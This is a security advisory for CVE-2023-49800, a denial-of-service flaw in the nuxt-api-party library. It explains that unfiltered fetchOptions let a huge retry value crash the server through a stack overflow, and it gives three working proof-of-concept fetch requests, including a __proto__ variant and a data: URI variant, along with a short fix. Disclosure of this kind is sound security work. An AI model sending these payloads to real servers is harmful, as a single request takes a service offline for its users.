CVE-2023-49800: DOS by abusing `fetchOptions.retry`.

Summary

nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.

The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.

Details

fetchOptions are obtained directly from the request body. These are then passed directly into ofetch
.

We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.

PoC

POC using Node.

await fetch("http://localhost:3000/api/__api_party/MyEndpoint", { method: "POST", body: JSON.stringify({ path: "x:x", retry: 9999999 }), headers: { "Content-Type": “application/json” } })

We can use proto as a substitute for the endpoint if it is not known.

await fetch("http://localhost:3000/api/__api_party/__proto__", { method: "POST", body: JSON.stringify({ path: "x:x", retry: 9999999 }), headers: { "Content-Type": “application/json” } })

We can build the size of the stack faster by using more complicated URIs

await fetch("http://localhost:3000/api/__api_party/__proto__", { method: "POST", body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }), headers: { "Content-Type": “application/json” } })

Impact

Full DOS, server is unusable during attack. Requires a single request.

Fix

Limit which options can be passed to ofetch.